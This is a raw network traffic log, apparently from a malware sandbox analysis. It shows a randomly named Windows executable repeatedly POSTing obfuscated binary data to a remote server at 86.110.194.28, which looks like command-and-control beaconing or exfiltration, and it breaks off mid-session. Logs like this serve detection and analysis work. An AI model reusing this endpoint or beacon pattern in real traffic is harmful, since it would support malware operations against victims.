Jan 3, 2025 18:28:15.190304041 CET	2564	OUT	Data Raw: 5e 51 5b 5d 58 5f 50 59 54 5b 59 5a 5b 57 57 5b 5f 57 5a 55 52 53 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^Q[]X_PYT[YZ[WW[_WZURSP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<-6"\0S2 )[0'*2?&!!V!(3$0<<U()#Y'$X.-
Jan 3, 2025 18:28:15.529782057 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:15.661618948 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	57259	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:15.802401066 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:16.159023046 CET	2576	OUT	Data Raw: 5b 52 5b 5f 58 5d 50 58 54 5b 59 5a 5b 51 57 53 5f 50 5a 5b 52 50 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R[_X]PXT[YZ[QWS_PZ[RPPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?60T1?/=2'$Y1?1!7=4+ %:'3+<9#Y'$X.9
Jan 3, 2025 18:28:16.511451006 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:16.638575077 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	57266	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:16.782991886 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:17.127772093 CET	2576	OUT	Data Raw: 5e 50 5e 50 5d 59 50 5f 54 5b 59 5a 5b 51 57 5c 5f 53 5a 58 52 51 50 42 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^P^P]YP_T[YZ[QW\_SZXRQPB_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(-2"*(S1,'=%4=]1)S!$#,\%9,A0??))#Y'$X.9
Jan 3, 2025 18:28:17.500201941 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:17.634620905 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	57272	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:17.800136089 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:18.159058094 CET	2576	OUT	Data Raw: 5e 51 5e 5e 5d 5d 50 5c 54 5b 59 5a 5b 54 57 5c 5f 55 5a 59 52 50 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^Q^^]]P\T[YZ[TW\_UZYRPPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&C?5]")'2<**09%?R 4)!;0$:#0/()#Y'$X.-
Jan 3, 2025 18:28:18.461045027 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:18.591185093 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	57281	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:18.745724916 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:19.096520901 CET	2576	OUT	Data Raw: 5b 57 5b 5f 58 59 55 5b 54 5b 59 5a 5b 54 57 5d 5f 54 5a 5f 52 53 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W[_XYU[T[YZ[TW]_TZ_RSPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&D(6#)$S2<(8>X$6%<=W!:4(/3$C'//<)#Y'$X.-
Jan 3, 2025 18:28:19.447348118 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:19.582417965 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	57285	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:19.903795004 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:20.252794027 CET	2576	OUT	Data Raw: 5b 52 5e 51 58 5e 50 5b 54 5b 59 5a 5b 55 57 5b 5f 57 5a 58 52 51 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R^QX^P[T[YZ[UW[_WZXRQPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&@?>)"9<R%#)'4X%> 7%Q4,\0?$3+9#Y'$X.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	57290	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:20.570913076 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:20.924874067 CET	2164	OUT	Data Raw: 5b 53 5b 5b 58 59 50 5c 54 5b 59 5a 5b 56 57 59 5f 5d 5a 54 52 55 50 48 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S[[XYP\T[YZ[VWY_]ZTRUPH_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&A<.=_!1,@(8>X%$9]1:54-U!8/0),&?<<9#Y'$X.%
Jan 3, 2025 18:28:21.253925085 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:21.383234978 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 27 04 26 02 35 02 3d 3c 33 1d 26 23 08 02 23 30 0a 5d 2f 20 00 42 35 3c 04 02 32 05 2c 13 3d 3d 3d 1b 28 23 26 0d 23 3e 29 57 2b 30 28 5d 03 10 3a 05 28 03 3f 1f 3e 07 2d 5d 2e 34 3c 06 25 34 27 00 29 33 31 57 32 2c 36 54 36 3d 3b 54 3d 23 3d 10 24 5d 2c 17 3c 30 28 02 27 07 20 54 0b 17 27 13 30 09 3b 12 26 16 29 1f 29 0e 28 12 24 14 21 1a 22 12 2d 0e 23 39 2c 17 38 30 35 1e 27 16 3d 55 2a 3d 3c 0d 25 2a 2e 59 33 01 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: '&5=<3&##0]/ B5<2,===(#&#>)W+0(]:(?>-].4<%4')31W2,6T6=;T=#=$],<0(' T'0;&))($!"-#9,805'=U=<%.Y3.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	57294	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:20.696969986 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:21.049870968 CET	2576	OUT	Data Raw: 5b 5c 5e 58 5d 5b 50 58 54 5b 59 5a 5b 56 57 5c 5f 52 5a 5d 52 50 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [\^X][PXT[YZ[VW\_RZ]RPPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<-.6:31/*(5$%[&/6B5#?')<$?+#Y'$X.%
Jan 3, 2025 18:28:21.373727083 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:21.506439924 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	57302	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:21.629234076 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:21.988724947 CET	2576	OUT	Data Raw: 5b 52 5b 5c 5d 5e 50 59 54 5b 59 5a 5b 52 57 59 5f 53 5a 54 52 54 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R[\]^PYT[YZ[RWY_SZTRTPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&(>59 2Z/(+-$=\&Y%!$64+,\%:(@3'(#Y'$X.5
Jan 3, 2025 18:28:22.327605009 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:22.456151962 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	57303	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:22.619283915 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:22.971679926 CET	2576	OUT	Data Raw: 5b 5d 5e 5a 58 58 50 5c 54 5b 59 5a 5b 51 57 53 5f 5c 5a 5a 52 50 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: []^ZXXP\T[YZ[QWS_\ZZRPPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+*!:$,=;>^%$2/="> 7$)?0+#Y'$X.9
Jan 3, 2025 18:28:23.315813065 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:23.450414896 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	57313	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:23.625731945 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:23.971460104 CET	2576	OUT	Data Raw: 5e 52 5e 5b 5d 5e 50 5f 54 5b 59 5a 5b 54 57 5a 5f 56 5a 5e 52 52 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R^[]^P_T[YZ[TWZ_VZ^RRPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%?=2"&Z,@>"[3B)',%R"'"#($_<@$'?9#Y'$X.-
Jan 3, 2025 18:28:24.316062927 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:24.448143005 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	57320	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:24.566811085 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:24.927155972 CET	2568	OUT	Data Raw: 5b 5c 5e 51 58 59 50 5e 54 5b 59 5a 5b 57 57 5d 5f 5d 5a 54 52 50 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [\^QXYP^T[YZ[WW]_]ZTRPP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?=63% (*^3'&%Y:!7% +,Y'$'?0S+)#Y'$X.9
Jan 3, 2025 18:28:25.256412983 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:25.388264894 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	57326	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:25.520987034 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:25.877746105 CET	2576	OUT	Data Raw: 5e 57 5b 58 5d 5a 50 58 54 5b 59 5a 5b 55 57 52 5f 5c 5a 5f 52 54 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W[X]ZPXT[YZ[UWR_\Z_RTPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B(*"1,(+^04Z%?)R $=U#\'9<D0#+)#Y'$X.)
Jan 3, 2025 18:28:26.219713926 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:26.354523897 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	57332	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:26.401242018 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:26.752676964 CET	2164	OUT	Data Raw: 5b 52 5b 5d 5d 5e 55 58 54 5b 59 5a 5b 51 57 5b 5f 57 5a 55 52 54 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R[]]^UXT[YZ[QW[_WZURTPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?1^"* U$,$>&$.%="% (#$9#$?0V+9#Y'$X.9
Jan 3, 2025 18:28:27.092004061 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:27.222424984 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 27 04 32 02 35 02 2a 06 33 10 26 0d 3d 1c 23 23 30 58 2f 20 22 42 35 02 29 5b 25 3b 33 08 28 3d 2e 08 29 23 26 09 34 07 22 0a 29 30 28 5d 03 10 39 10 3f 13 2c 05 2a 00 29 5c 2e 24 2f 5c 24 19 3c 1f 29 1d 32 0c 26 2f 35 0a 22 04 3c 0e 2a 0d 0c 03 30 3b 05 06 3f 20 3f 10 25 2d 20 54 0b 17 27 56 33 0e 2b 13 31 06 3a 05 2a 19 20 5d 30 3a 0c 0a 21 2c 04 51 23 39 0e 18 38 30 2e 0a 24 38 3e 0c 3e 2e 01 1d 32 5c 32 5d 24 01 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: '253&=##0X/ "B5)[%;3(=.)#&4")0(]9?,)\.$/\$<)2&/5"<0;? ?%- T'V3+1: ]0:!,Q#980.$8>>.2\2]$.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	57333	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:26.479134083 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
